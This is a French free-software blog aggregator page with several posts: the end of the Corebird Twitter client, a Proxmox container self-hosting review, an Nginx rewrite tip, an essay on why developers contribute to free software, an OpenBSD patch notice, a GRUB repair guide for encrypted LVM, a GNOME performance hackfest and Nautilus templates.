Les développeurs de plusieurs applications (Talon, Tweetbot, Tweetings, Twitterrific…) se sont associés en lançant le site web Apps of a Feather pour prévenir leurs utilisateurs et tenter de faire pression sur Twitter. Mais comme l’indiquait à Next INpact Ludovic Vialle, le créateur du client Plume, « Je sais que Twitter ne cédera pas, ce n’est pas dans leur intérêt, et cela concerne peu d’utilisateurs. Le public peut se passer de son application préférée, mais difficilement de Twitter ».

Pour en revenir à Corebird, son développeur, Timm Bäder, annonce sur sa page Patreon que l’application n’a aucun futur. Il ne pourra jamais payer pour l’accès à l’API, et Corebird étant profondément lié aux API Twitter, d’implémenter la prise en charge d’un autre réseau (tel que Mastodon), demanderait beaucoup trop de travail. Et n’étant plus étudiant, il n’est pas certain d’avoir le temps de s’en occuper. Il est donc fort probable que Corebird cesse de fonctionner à la mi-août, date annoncée par Twitter pour la suppression des API.

Encore une occasion de rappeler l’importance du libre, et ce, à tous les niveaux. Aussi bien logiciel que pour les services en ligne et leurs API. Dépendre d’un tiers non libre est une épée de Damoclès sur les développeurs, qui peuvent se voir résilier l’accès à tout moment.

Gravatar de Okki
Original post of Okki.Votez pour ce billet sur Planet Libre.

Articles similaires

Journal du hacker : Liens intéressants Journal du hacker semaine #20

Pour la 20ème semaine de l'année 2018, voici 10 liens intéressants que vous avez peut-être ratés, relayés par le Journal du hacker, votre source d’informations pour le Logiciel Libre francophone !

Pour ne plus rater aucun article de la communauté francophone, voici :

De plus le site web du Journal du hacker est « adaptatif (responsive) ». N’hésitez pas à le consulter depuis votre smartphone ou votre tablette !

Le Journal du hacker fonctionne de manière collaborative, grâce à la participation de ses membres. Rejoignez-nous pour proposer vos contenus à partager avec la communauté du Logiciel Libre francophone et faire connaître vos projets !

Et vous ? Qu’avez-vous pensé de ces articles ? N’hésitez pas à réagir directement dans les commentaires de l’article sur le Journal du hacker ou bien dans les commentaires de ce billet :)

Gravatar de Journal du hacker
Original post of Journal du hacker.Votez pour ce billet sur Planet Libre.

Articles similaires

Yannic Arnoux : Hébergement et taille de containers

Dans le prolongement de mon article “Choix du système pour s’auto-héberger”, je peux faire un bilan des 6 mois écoulés avec mon hébergement à base de containers LXC avec la distribution Proxmox.

Commençons par les avantages

Le passage d’une installation monolithique à une installation containerisée avec des services répartis dans une dizaine de containers donne la flexibilité de choisir le meilleur outil pour chaque tâche :

  • les micro-services Python se contentent de containers Alpine ultra-légers (64 Mo de RAM).
  • le service Nextcloud a migré d’un container Alpine à un container ArchLinux. Je n’aurais jamais pensé utiliser Arch sur un serveur mais c’est une bonne solution pour garantir une version stable et toujours à jours en terme de sécurité de Nextcloud.
  • le middleware RabbitMQ est installé sur sa distribution de prédilection CentOS dans un container dédié.

La modularité facilite l’administration du serveur : on a besoin d’un nouveau service, on rajoute un container et on limite les risques de casser quelque chose sur l’installation existante.

L’interface Web d’administration de Proxmox est de qualité. Au delà de la gestion des machines virtuelles KVM et des containers LXC, elle donne une vision des ressources CPU /Mémoire consommées par container et au niveau physique.

Tableau de bord Proxmox

Ce qui n’est pas parfait

J’ai un service Nextloud, aisé à gérer dans un seul container avec l’application, les données et la base de donnée. Pour sauvegarder, c’est moins drôle, cela revient à sauvegarder le container de bientôt 100 Go avec Proxmox et la balancer sur l’espace FTP de 100 Go offert par Online. Autre option, sauvegarder les données du calendrier et les contacts avec des scripts maison et mettre en place une sauvegarde classique vers un disque externe des fichiers synchronisés sur mon ordinateur portable. C’est vers cette solution que je m’oriente.

La nuée de services développés par bibi autour du blog (SRMail, Stacosys) serait parfaite pour Docker. Aujourd’hui c’est installé dans des containers LXC, avec des partages de répertoires entre le hôte et les containers pour externaliser la configuration et les données. Docker permettrait de standardiser cet assemblage et d’en profiter à la maison pour facilement remonter un environnement de test.

C’est vraiment le point négatif : j’ai des relations troubles entre la machine hôte et les containers. J’ai installé un serveur NginX sur Proxmox qui fait du proxy vers les NginX des différents containers en fonction du service demandé. J’ai partagé des répertoires entre le hôte et les containers pour externaliser les parties sensibles (la configuration et les données) et faciliter leur sauvegarde puis la machine hôte. Je gère les certificats Let’s Encrypt au niveau du hôte aussi. Bref j’ai une installation custom de Proxmox avec des containers mais aussi plein de trucs installés au niveau de l’hyperviseur.

Conclusion

Ca fonctionne bien mais si j’ai un souci (mise à jour de Proxmox qui casse quelque chose, panne du serveur), je risque de passer des jours à tout remettre en service car j’ai tout installé à la mano. L’idée de tout reprendre à zéro en passant plus de temps pour tout containeriser refait surface. L’idéal pour moi serait de tout exécuter dans des containers et d’avoir une seule arborescence de fichiers à sauvegarder. J’avais tâté un peu Docker et je sais que ça prend pas mal de temps de repenser en containers, de choisir les bonnes images de base… Autre bémol, miser sur une seule entreprise ne m’emballe pas, malgré les efforts de l’Open Container Initiative pour standardiser partiellement la technologie.

Donc j’étudie les options :

  • un provisioning avec Ansible d’un container LXC générique
  • l’ajout de Docker à Proxmox pour rajouter Docker au panel KVM / LXC: dockeriser c’est long, donc garder Proxmox permettrait de répondre rapidement à un besoin avec un container LXC, quitte à dockeriser ensuite le service dans un 2ème temps…

Si vous avez des suggestions je suis carrément preneur :-)

Gravatar de Yannic Arnoux
Original post of Yannic Arnoux.Votez pour ce billet sur Planet Libre.

Okki : Sortie de Dash to Panel 14

Dash to Panel 14

Pour rappel, cette extension permet de remplacer le dock de la vue d’ensemble des activités et la barre supérieure par un panneau équivalent à la barre des tâches sous Windows.

De nombreuses options sont proposées, permettant de choisir l’emplacement du panneau (en bas ou en haut de l’écran), la taille du panneau et des icônes, le choix des indicateurs pour distinguer les applications actives, la position de l’horloge et de la barre des tâches, la possibilité d’afficher ou non les applications favorites, l’ajout d’un bouton pour afficher le bureau ou encore, un aperçu des fenêtres lors du survol des icônes…

Pour en revenir à cette nouvelle version, cette dernière apporte plusieurs options attendues de longue date, à commencer par la possibilité de masquer intelligemment le panneau, en laissant à l’utilisateur la possibilité de configurer finement le comportement :

  • ne cacher le panneau que lorsqu’il est au-dessus d’une fenêtre
  • requiert une pression sur le bord de l’écran pour afficher le panneau
  • permettre au panneau d’être affiché en mode plein écran

Tout en permettant de modifier les durées (en ms) des animations d’affichage ou le délai avant le masquage du panneau.

Autres nouveautés, la possibilité de modifier la taille des aperçus des fenêtres lors du survol, de modifier l’icône du menu Applications ou d’ajuster la marge intérieure de l’icône d’application. Sans oublier quelques améliorations, telle qu’une meilleure prise en charge du HiDPI, une meilleure gestion de la transparence dynamique du panneau ou des écrans tactiles.

Gravatar de Okki
Original post of Okki.Votez pour ce billet sur Planet Libre.

Articles similaires

Francois Aichelbaum : Are you struggling with Nginx rewrite rules and $ ?

1 rewrite ^/that-s-my-original-uri/(with-my-folder)/(.*)$ /that-s-my-destination$$1/$2 last;

See the \\($1 ?

Are you trying to use a \\) in the destination of your rewrite rule ? Then you may have try escaping it, and found out you can only do it via some LUA scripting you might not want or a third party plugin that you can’t use for X or Y reason. The constant result of this situation ?

1 nginx: [emerg] invalid variable name in /etc/nginx/sites-enabled/XXXXXXXX:YYY

Ok so what’s next ? The idea would be to host the $ inside a variable. Sadly, the set argument does not allow this and will reject you with the same error. The solution would be to use geo in your nginx.conf and replace use the key:

1 2 3 geo $dollar { default "$"; } 1 rewrite ^/that-s-my-original-uri/(with-my-folder)/(.*)$ /that-s-my-destination$dollar$1/$2 last;

And, voila !

Gravatar de Francois Aichelbaum
Original post of Francois Aichelbaum.Votez pour ce billet sur Planet Libre.

Framablog : Ce qui nous pousse au Libre

Si certains logiciels libres sont réputés à la fois pour leur efficacité et leur esthétique fonctionnelle (qu’on nommera design, parce que c’est ainsi), il faut reconnaître qu’ils ne font pas la majorité.

Certains designers aimeraient apporter leur pierre à l’édifice libriste, et rendre plus attractifs et fonctionnels les logiciels libres, mais la route semble encore bien longue comme l’a récemment constaté Maiwann. Le dialogue entre développeurs de logiciels libre et designers semble cependant s’amorcer sous les meilleurs augures, d’abord en identifiant clairement les besoins mais aussi en proposant des solutions d’interactions. Dans ce billet, Marien Fressinaud apporte une réponse de développeur et identifie, à son tour, un espace de convergence. Cet article a été initialement publié sur son blog sous licence « CC BY ».

Marien, développeur et membre de Framasoft.

Il y a quelques jours, Maiwann proposait dans un article de réconcilier designers et logiciels libres. L’article ne manque pas d’intérêt, ne serait-ce que parce qu’il identifie les freins à la collaboration des designers au libre et suggère des actions concrètes pour y remédier.

Bien que je partage bon nombre des constats, je souhaitais le « compléter », cette fois en adoptant le point de vue du développeur que je suis. En effet, il est un sujet que Maiwann n’aborde quasiment pas : pourquoi faire du logiciel libre ? Pour ma part, j’aurais en effet aimé mieux comprendre ce qui motive des designers à vouloir contribuer au Libre. En guise d’effet miroir, j’essaie donc dans cet article d’envisager les raisons qui peuvent inciter un développeur à le faire, sans prétendre être exhaustif. Cette mise en perspective repose sur mes expériences personnelles concernant FreshRSS, Lessy, les actions menées au nom de Framasoft ou encore à travers les écrits que j’ai pu lire à droite à gauche.

Apprentissage

Dans l’article de Maiwann, la seule référence à une potentielle motivation se trouve au détour d’un paragraphe :

Lors de nos études, […] alors que nous cherchons à nous entraîner, sur notre temps libre ou pour des projets de fin d’année, nous nous plaignons de ne connaître aucun développeur avec qui co-créer des sites ou logiciels.

Voilà une raison qui devrait parler à bon nombre d’étudiants et d’étudiantes ! Appliquer ce que l’on a pu apprendre en cours et donc, par extension, apprendre par la pratique est souvent moteur chez les développeurs. J’ai moi-même développé un certain nombre de programmes avec cette simple motivation. Par exemple, Minz fut ma tentative de comprendre le fonctionnement interne des frameworks web. FreshRSS a été l’occasion de travailler véritablement en communauté, et donc en équipe collaborant à distance et de façon asynchrone. Sur Lessy, j’ai pu consolider tout un paquet de connaissances que j’ai ensuite pu proposer et appliquer au boulot. Le logiciel libre est une formidable source d’apprentissage que je recommande fortement à toutes et tous.

Cela étant dit, considérer l’apprentissage comme seul moteur dans le développement d’un logiciel libre est bien entendu extrêmement réducteur et j’aurais tendance à dire que ce n’est pas la raison majeure (bien qu’il s’agisse probablement de la porte d’entrée principale pour bon nombre d’entre nous). Cherchons donc ailleurs d’autres raisons qui nous poussent, nous développeurs et développeuses, à produire du logiciel libre.

Plaisir, apprentissage et logiciel libre : le Serious Gaming (et Framinetest) en sont un bon exemple.

Plaisir

Dans le prologue du bouquin L’Éthique hacker, Linus Torvalds explique les motivations des hackers derrière le système d’exploitation Linux :

La raison pour laquelle les hackers derrière Linux se lancent dans quelque chose, c’est qu’ils trouvent ça très intéressant et qu’ils veulent le partager avec d’autres. Tout d’un coup, vous avez le plaisir parce que vous faites quelque chose d’intéressant et vous avez aussi le pendant social.

Il nous dit plusieurs choses ici. Tout d’abord, le développement d’un tel système relève avant tout du plaisir. Et il est vrai qu’on peut se demander ce qui pousse des milliers de développeurs à partager leurs savoirs et leur temps, généralement de façon gratuite, si ce n’est le plaisir de le faire ? D’ailleurs Pekka Himanen (l’auteur du bouquin) cite un peu plus loin Éric Raymond, à l’origine de la popularisation du terme « open source » (j’aurai l’occasion de revenir sur ce terme plus tard) :

La conception de logiciel et sa mise en œuvre devraient être un art jubilatoire, et une sorte de jeu haut de gamme. Si cette attitude te paraît absurde ou quelque peu embarrassante, arrête et réfléchis un peu. Demande-toi ce que tu as pu oublier. Pourquoi développes-tu un logiciel au lieu de faire autre chose pour gagner de l’argent ou passer le temps ?

On y retrouve la notion de plaisir à travers le « jeu haut de gamme ». Je prends souvent l’exemple du Sudoku ou de la grille de mots-croisés : il n’y a, à priori, aucune raison de remplir ces cases de chiffres ou de lettres, si ce n’est le plaisir de résoudre un problème, parfois complexe. Je trouve personnellement que le développement de logiciel peut amener à un état de satisfaction similaire lorsqu’on se trouve face à un problème et qu’on arrive finalement à le résoudre après plusieurs heures jours semaines de recherche.

D’un point de vue personnel, j’ai toujours été attiré par les domaines de « création ». J’ai immédiatement accroché au développement lorsque j’ai découvert que créer un site web était aussi simple que créer un fichier texte avec quelques mots dedans. Les balises HTML ? – Un simple jeu de Lego®. Les CSS ? – Quelques directives de base à connaître et on arrive rapidement à quelque chose de totalement différent. Un serveur web ? – Un ordinateur avec un logiciel spécifique qui tourne dessus. Un bug ? – Une « chasse » durant laquelle on déroule le programme qui nous semblait si logique au moment de l’écrire (mais qui l’est maintenant beaucoup moins !). Pour moi, la beauté de l’informatique réside dans sa simplicité et sa logique : il y a un véritable plaisir à comprendre comment toutes ces petites boîtes s’agencent entre elles et que tout devient plus clair.

L’espace Logiciels Libres, Hackers, Fablab de la fête de l’Huma 2016.

Partage

Si l’on s’en tient aux notions d’apprentissage et de plaisir, il n’y a rien qui distingue le logiciel libre du logiciel propriétaire. Vous pouvez très bien apprendre et éprouver du plaisir en développant du code fermé. Il nous faut revenir à la citation de Torvalds pour commencer à percevoir ce qui les différencie :

[…] ils veulent le partager avec d’autres.

Le partage : on a là une valeur fondamentale du logiciel libre qui ne trouve pas véritablement son pendant du côté du logiciel propriétaire. Bien que j’aie plus de mal à identifier clairement ce qui peut motiver l’être humain à partager ses savoirs, c’est quelque chose que je ressens effectivement. Cet aspect coopératif — Torvalds parle d’un « pendant social » — peut créer ou renforcer des liens avec d’autres personnes ce qui rend cette activité profondément humaine.

Partager, c’est donc transmettre. Transmettre à une communauté, donner les clés pour que celle-ci soit indépendante. Partager ses savoirs qui permettront peut-être à d’autres de bâtir autre chose par-dessus. Cela permet aussi de créer du lien humain, rencontrer des personnes et ouvrir ses perspectives en créant son propre réseau. C’est aussi s’offrir un coin de canapé quand on voyage. Je me suis rendu compte assez récemment de ce que m’offrait aujourd’hui cette décision en IUT de partager les petits programmes que je pouvais développer sur mon temps libre. La liberté n’est pas que celle du code.

Il y a certainement une forme de fierté à avoir exploré un domaine le premier, ou développé une application que d’autres vont utiliser (« Quoi ? Ce que j’ai fabriqué de mes propres mains t’est aussi utile ? »). Si cette fierté est par essence un peu narcissique (je suis toujours un peu pénible lorsque je suis cité chez NextInpact ou chez Korben 😇), elle est aussi bénéfique car elle encourage à rendre son travail public et donc… partager encore.

Loin du cliché des hackers à capuche, l’édition 2018 du Toulouse HackerSpace Factory utilise Langue des Signes et police Open-Dyslexie dans son imagerie.

Éthique

On retrouve aussi cette notion de partage dans les écrits de Richard Stallman lorsqu’il nous parle des quatre libertés du logiciel :

Elles sont essentielles, pas uniquement pour les enjeux individuels des utilisateurs, mais parce qu’elles favorisent le partage et la coopération qui fondent la solidarité sociale.

Ces mots, pris du point de vue de Stallman, sont bien évidemment à interpréter sous la dimension éthique (et donc politique) du logiciel libre, ce qui n’est pas forcément le cas de Torvalds (je ne saurais néanmoins l’affirmer). Puisque Stallman est à l’origine du mouvement du logiciel libre, on ne peut évidemment pas enlever l’éthique de son équation ou alors vous obtenez de l’open source (comme il l’explique dans l’article cité plus haut). On peut toutefois raisonnablement penser que les partisans du logiciel libre sont moins nombreux que ceux de l’open source, ce que j’explique par une peur ou un désintérêt envers cet objet politisé.

Je trouve toutefois dommage de ne pas plus s’y intéresser. En effet, la dimension éthique aide à répondre à une question que beaucoup de personnes peuvent se poser : « ce que je fais au quotidien a-t-il du sens ? ». Stallman y répond par la défense et le respect des utilisateurs et utilisatrices :

Le mouvement du logiciel libre fait campagne pour la liberté des utilisateurs de l’informatique depuis 1983.

Ou encore :

Pour qu’on puisse dire d’un logiciel qu’il sert ses utilisateurs, il doit respecter leur liberté. Que dire s’il est conçu pour les enchaîner ?

Si je souhaitais conclure par cet argument, c’est parce qu’il aide à boucler la boucle avec l’article de Maiwann. En effet, en tant qu’UX designer, elle va avoir à cœur de répondre aux besoins de ses utilisateurs et donc d’imaginer des mécanismes pour rendre l’outil le plus utilisable et accessible possible. Aujourd’hui il me semble percevoir dans cette communauté un mouvement de prise de conscience que ces mécanismes doivent respecter (on y revient !) les personnes utilisant le logiciel. Cela est superbement bien illustré par la vidéo « Temps de cerveau disponible » (de la série « (Tr)oppressé » que je recommande vivement) dans laquelle un ancien employé de Google, expert en éthique, témoigne :

Le but est de capter et d’exploiter au maximum l’attention.

Il l’illustre ensuite par le lancement automatique de l’épisode suivant sur Netflix et par le défilement infini sur Facebook ou Twitter (incitant de ce fait à parcourir son fil d’actualité dans son ensemble) ; ces petits riens qui font que nous revenons sans cesse à ces applications et que nous en devenons dépendant⋅e⋅s alors qu’elles n’ont d’intérêt que de nous divertir.

L’un des problèmes que j’identifie aujourd’hui est que le logiciel libre copie beaucoup (trop) ce qui se fait dans le propriétaire, et en particulier chez GAFAM et consorts… jusque dans leurs mécanismes nocifs. On peut ici reprendre l’exemple du mécanisme de défilement infini que l’on retrouve chez Mastodon ou Diaspora (et même sur FreshRSS !). Une certaine forme de dépendance peut donc s’installer au sein même de logiciels libres.

Convergence des buts ?

Les designers peuvent aujourd’hui nous aider, développeurs et développeuses, à repenser l’éthique de nos logiciels en replaçant les usages au centre de nos préoccupations et en imaginant et proposant des mécanismes permettant « d’endiguer » ce flux permanent d’informations qu’il nous faut ingurgiter.

Elles et ils peuvent aussi nous aider à atteindre véritablement nos utilisateurs et utilisatrices en rendant nos outils utilisables et… utilisés. Car un logiciel non utilisable peut-il véritablement être considéré comme Libre ? Je ne peux m’empêcher de faire ici le parallèle avec l’association Liberté 0 qui a pour objet de « sensibiliser et de promouvoir le numérique libre et accessible à toutes et tous ». Dans leur charte, il est explicité :

Les membres du groupe « Liberté 0 » considèrent que la liberté d’exécuter un programme n’a de sens que si celui-ci est utilisable effectivement.

L’association est donc dans cette même démarche de promouvoir l’« utilisabilité » des logiciels, au même titre que les UX designers (mais sous le prisme de l’accessibilité).

N’y aurait-il pas ici une convergence des buts ? N’existe-t-il pas un lieu où nous pourrions nous regrouper tous ensemble pour imaginer des outils autres que ceux issus du « capitalisme de surveillance » ?

Merci à Maiwann pour sa relecture attentive !

Gravatar de Framablog
Original post of Framablog.Votez pour ce billet sur Planet Libre.

Articles similaires

genma : Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Introduction

Depuis mes débuts sous Linux, j'ai toujours su taper des commandes. Très tôt, j'ai appris à installer différents services et des serveurs (essentiellement dans des machines virtuelles et pour faire du LAMP : Linux, Apache, MySQL, PHP), mais c'est toujours resté de la bidouille. Avec le début de mon autohébergement fin décembre 2015, j'ai commencé à m'intéresser aux problématiques d'administration système. A l'été 2016, pendant les vacances, j'ai mes débuts véritable en sysadmin - administration système en cherchant à comprendre comment fonctionnait Yunohost dans ses entrailles, les différents services, en cassant et restaurant sans soucis à plusieurs reprises mon instance de production... J'ai donc appris et pas mal progressé à titre personnel, en gérant mon instance Yunohost, soit un seul serveur.

Pourtant, à côté, j'ai continué à m'intéresser à une gestion plus professionnelle et industrielle et en début de cette année 2018, je me suis vu affecter la reprise de la gestion de toute l'infrastructure de la société dans laquelle je travaille. Cette prise de fonction et de responsabilité a été décidé dans le cadre d'une restructuration des services : gérer les services de production, de support et d'infrastructure interne et liée à nos clients permet d'avoir une meilleur vision d'ensemble, plus de réactivité...

Comme toute nouvelle prise de fonction, les précédentes personnes ayant eu à gérer le service sont parties faire d'autres horizons bien qu'une passation de connaissances s'est faite, elle s'est faite rapidement.

Et avec les semaines, on découvre que même si une documentation existe (répartie dans plusieurs wikis), elle n'a pas été maintenue à jour, n'est pas assez détaillée ou obsolète... Et avec le temps il y a des choses qui marchent mais on ne sait pas comment, il y a des serveurs qu'on ne touche pas, des services qui tournent alors on ne touche à rien. Tout cet héritage et empilage de choix technique mis en place avec les années par les différents administrateurs systèmes qui se sont succèdés, c'est ce que j'appellerai le legacy, soit l'héritage.

Contexte de l'infrastructure Je pense qu'il est important, pour la suite des billets que j'aurai à rédiger, de préciser, que l'infrastructure actuelle se compose de trois grandes catégories de machines et ces catégories ont leurs importances :
- Les machines physiques : 99% des serveurs sont sous Debian, dans différentes versions
- Les machines virtuelles sur un hyperviseur : Xen et Proxmox
- Les machines cloud (sur l'hyperviseur d'un autre)

Un travail de modernisation avec le passage à des technologies plus évolutives et flexibles (virtualisation, Docker / K8S Kubernetes...) a été débuté mais il reste encore beaucoup de "une machine physique ou virtuelle pour un service dédié" avec autant de système d'exploitations et d'applications à maintenir et à découvrir...

Je pense que je ferai là encore, une série de billets au fur et à mesure de ma progression et sur comment j'ai commencer à dresser une cartographie détaillé de l'existant, documenter de novo en reprenant TOUTE la documentation existante pour la remettre d'aplomb... Et dans le futur, je parlerai de mon expérience dans la mise en place de nouveau service, dans la refonte et modernisation de l'infrastructure...

L'objectif de ma série de billets ces prochains mois sera le partage de mon expérience acquise avec le temps, le partage de bonnes pratiques mises en places, d'astuces etc. En complément de ma série de billets plus spécifiques sur le projet Chatonkademy/

Les commandes que j'utilise le plus

Pour finir ce premier billet un peu fourre-tout, je voudrais parler des commandes que j'utilise le plus au quotidien. A l'heure actuelle, quand l'outil de supervision (sous Zabbix) remonte des alertes, je me connecte en SSH sur les machines et voici les commandes que j'utilise le plus :
- ncdu
- ls -lrtu
- tail -f /var/log/le_fichier_de_log_qui_va_bien

ncdu Habitué de la commande du dont je ne me rappelle jamais les options pour avoir uniquement le niveau 1 (réponse du -h —max-depth=1 .), j'ai découvert et depuis je ne m'en passe plus et l'installe sur tous les serveurs la commande ncdu, soit NCurses Disk Usage. Simple, rapide et efficace, on a de suite l'espace disque occupé par un répertoire. Pratique pour de suite savoir quel dossier prend plein de place, et c'est très complémentaire à du, en ajoutant en plus un système de navigation au clavier dans l'arborescence scannée. Indispensable.

ls -lrtu on liste les fichiers et on les trie par date pour de suite avoir en base de liste les derniers fichiers modifiés. Pratique pour savoir quel est le dernier fichier de logs qui vient d'être modifié (c'est le dernier de la liste), voir quel est le propriétaire et la date et heure de dernière écriture.

Pour ensuite faire dessus le classique

tail -f /var/log/le_fichier_de_log_qui_va_bien J'ai dans les projets pour les mois à venir la mise en place d'un système de gestion des logs centralisés mais en attendant, à l'ancienne, je consulte les logs avec un tail -f et éventuellement du |grep motif_qui_va_bien pour filtrer affiner un peu.

Et pour le reste, il y a les commandes que j'évoquais dans mes billets :
-Yunohost - Supervision en ligne de commande
-Yunohost - Supervision du trafic réseau

Gravatar de genma
Original post of genma.Votez pour ce billet sur Planet Libre.

Thuban : Syspatch : Patch 8 IPSec over IPv6 pour OpenBSD

Cette nuit, l'équipe d'OpenBSD a livré un nouveau correctif pour OpenBSD.

Un paquet malicieux peut causer un crash du noyau lors de l'usage d'IPsec sur IPv6 !

 

Architectures concernées : amd64, arm64 et i386.

OS concernés :

Un redémarrage est nécessaire !

 

 

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Cyprien Pouzenc : Restaurer GRUB avec une partition chiffrée séparée

Logos de GRUB (© Karol Krenski)

Lorsque l'ordinateur ne peut plus démarrer à cause d'un chargeur d'amorçage cassé, il suffit de réparer le-dit chargeur d'amorçage — en l'occurence GRUB, dans le cas qui nous intéresse ici. Classiquement, cela implique de démarrer l'ordinateur sur le Live CD de sa distribution GNU/Linux favorite, de taper quelques commandes dans le terminal, puis de redémarrer. Cela se complique un poil lorsque le système est installé sur plusieurs partitions, potentiellement chiffrées. Voici un petit article bloc-note, pour savoir quoi faire quand la situation se présentera à nouveau sous les orteils de mes mains.

Logos de GRUB (© Karol Krenski)Logos de GRUB (© Karol Krenski) Démêlons les fils, LVM2 et LUKS

Je démarre donc l'ordinateur sur un Live CD de Debian GNU/Linux. Une fois passées les quelques étapes cosmétiques — à savoir la sélection d'une disposition de clavier française et l'installation des pilotes non-libres de la carte wifi pour avoir une connexion Internet — je peux m'attaquer au vif du sujet.

Dans ce cas précis, le disque dur contient trois partitions : /dev/sda1 pour /boot/efi, /dev/sda2 pour /boot et /dev/sda3 comme groupe de volumes logiques LVM2, chiffré avec LUKS — et qui contient, notamment, la partition racine. Afin de gérer LVM2 et LUKS, il faut commencer par installer les paquets nécessaires sur le système autonome du Live CD. Les étapes à suivre sont énoncées ci-dessous.

Se connecter en tant que super-utilisateur :

su -

Mettre à jour la liste des paquets :

apt update

Installer les paquets lvm2 et cryptsetup :

apt install lvm2 cryptsetup

Charger le module noyau dm-crypt utile au chiffrement des volumes :

modprobe dm-crypt

Déverrouiller et charger la partition chiffrée :

cryptsetup luksOpen /dev/sda3 luks_sda3

Il est maintenant possible de trouver les groupes de volumes LVM2 présents :

vgscan

Lequel nous répond :

Found volume group "portable-vg" using metadata type lvm2

J'active donc le groupe indiqué, afin de pouvoir accéder aux volumes qu'il contient :

vgchange -a y portable-vg

Pour trouver les-dits volumes :

lvscan

Qui nous répond à son tour :

ACTIVE            '/dev/portable-vg/root' [107,12 GiB] inherit ACTIVE            '/dev/portable-vg/swap_1' [3,93 GiB] inherit

Le groupe contient donc deux volumes, à savoir la racine du système et une partition d'échange — qui est passablement inutile dans le cadre de cet article. Information intéressante s'il en est, le volume de la racine est accessible sur /dev/portable-vg/root.

Sus au chroot !

Il est maintenant possible de procéder à la restauration — désormais classique — de GRUB. Cela commence par la création d'un point de montage :

mkdir /mnt/chroot

Sur lequel monter le volume de la racine :

mount /dev/portable-vg/root /mnt/chroot/

Ainsi que quelques partitions spéciales du disque autonome :

mount --bind /dev /mnt/chroot/dev mount -t proc /proc /mnt/chroot/proc mount -t sysfs /sys /mnt/chroot/sys

Enfin, plongeons la tête dans le chroot :

chroot /mnt/chroot

Désormais, attention les doigts, toute opération prendra effet sur le disque à récupérer, non-plus sur le système autonome du Live CD. Finie la rigolade. À noter que les partitions /dev/sda1 et /dev/sda2 n'ont pas été montées précédemment. Si cela avait été le cas, le système chrooté aurait eu l'impression qu'il s'agissait d'une seule et unique partition, ce qui n'est évidemment ici pas l'ombre du reflet de la réalité. Et cela aurait posé problème lors de la configuration de GRUB. Ce n'est que maintenant, une fois entré dans le chroot, qu'il faut monter ces partitions :

mount /dev/sda2 /boot mount /dev/sda1 /boot/efi

Pour enfin, objectif ultime, réparer ce foutu GRUB :

update-grub grub-install /dev/sda

Pour terminer proprement le travail avant de quitter l'usine, on sort du chroot et on démonte toutes les partitions :

exit umount /mnt/chroot/boot/efi umount /mnt/chroot/boot umount /mnt/chroot/dev umount /mnt/chroot/proc umount /mnt/chroot/sys umount /mnt/chroot

Puis on redémarre l'ordinateur en croisant les narines :

reboot

Article sous licence Creative Commons BY-SA 3.0 France.

Gravatar de Cyprien Pouzenc
Original post of Cyprien Pouzenc.Votez pour ce billet sur Planet Libre.

Okki : Hackathon GNOME pour l’amélioration des performances

GNOME Performance Hackfest 2018 (© Alberto Ruiz)

Les fondations GNOME et Raspberry Pi ont récemment organisé un hackathon ayant pour objectif l’optimisation des ressources (RAM, CPU, GPU, consommation énergétique) utilisées par une session GNOME typique, ainsi que l’amélioration des performances.

L’événement s’est déroulé du 14 au 16 mai 2018 à Cambridge et a réuni plus d’une quinzaine de développeurs issus de diverses entreprises telles que Broadcom, Canonical, Collabora, Endless et bien évidemment Red Hat, dont les développeurs étaient présents en nombre.

Parmi les différents problèmes d’utilisation de la mémoire sur lesquels les développeurs ont travaillé, nous pouvons citer le gestionnaire de session GDM, qui maintient sa propre instance de GNOME Shell. De régler ce problème fait chuter la consommation de RAM de 280 Mio. Rien que ça. Autre cible importante, Logiciels, la logithèque GNOME, qui tourne en tâche de fond pour pouvoir fournir des résultats lors d’une recherche d’applications dans la vue d’ensemble des activités. Ce dernier consomme plus de 90 Mio de RAM. Sans oublier tous ces petits démons qui pourraient être appelés à la demande, plutôt que de tourner en permanence.

Le travail est loin d’être terminé, mais GNOME 3.30, dont la sortie est prévue pour le mois de septembre prochain, devrait, à n’en pas douter, être bien plus léger et réactif qu’il ne l’est actuellement.

Ceux qui souhaitent en apprendre plus peuvent consulter les billets de blog (en anglais) d’Alberto Ruiz et de Carlos Garnacho.

Gravatar de Okki
Original post of Okki.Votez pour ce billet sur Planet Libre.

genma : Lifehacking - Avoir des templates de documents dans Nautilus

J'ai récemment migrer sous la dernière version LTS d'Ubuntu, la 18.04, et je suis passé d'un environnement Unity (que j'utilisais depuis le début et auquel je suis resté fidèle au fil des versions) à un environnement Gnome. J'utilisais régulièrement la création de fichier vide dans un dossier de Nautilus avec un clic droit, créer un fichier et je ne retrouvais pas cette fonctionnalité dans ma nouvelle version d'Ubuntu. J'ai cherché un peu et en fait, c'est plus complet que ce que je ne pensais.

Dans le Home de l'utilisateur vous avez un dossier Modèles (ou Templates en anglais), tous les fichiers qui y figureront pourront être créés par un clic droit, vides ou contenant le texte que vous souhaitez. Bien évidemment les fichiers s'ouvriront avec les programmes par défaut de votre environnement. Source Ajouter ‘un nouveau fichier' par un clic droit avec Nautilus.

Ayant découvert que l'on pouvait donc ajouter ses propres modèles, j'ai alors déposer tout un tas de fichier template / modèle que j'ai déjà préparé dans différents formats : dès fichiers LibreOffice de différents types déjà formatés (tableau pour Calc, Présentation, Document avec en-tête et pied de page...) et des fichiers textes (Structure de billets de blogs, de fichiers de Markdown pour le Wiki

Avant, j'allais dans mon dossier de référence de template, je copiais le fichier de modèle, allait dans le dossier de travail / projet, je collais le fichier, je le renommais. Désormais, je n'ai plus qu'à faire qu'un clic droit dans n'importe quel dossier, je crée un fichier du type que je veux avec une structure déjà prédéfinie, je le renomme et je gagne du temps. Une nouvelle astuce qui m'est bine utile au quotidien.

Gravatar de genma
Original post of genma.Votez pour ce billet sur Planet Libre.

Pages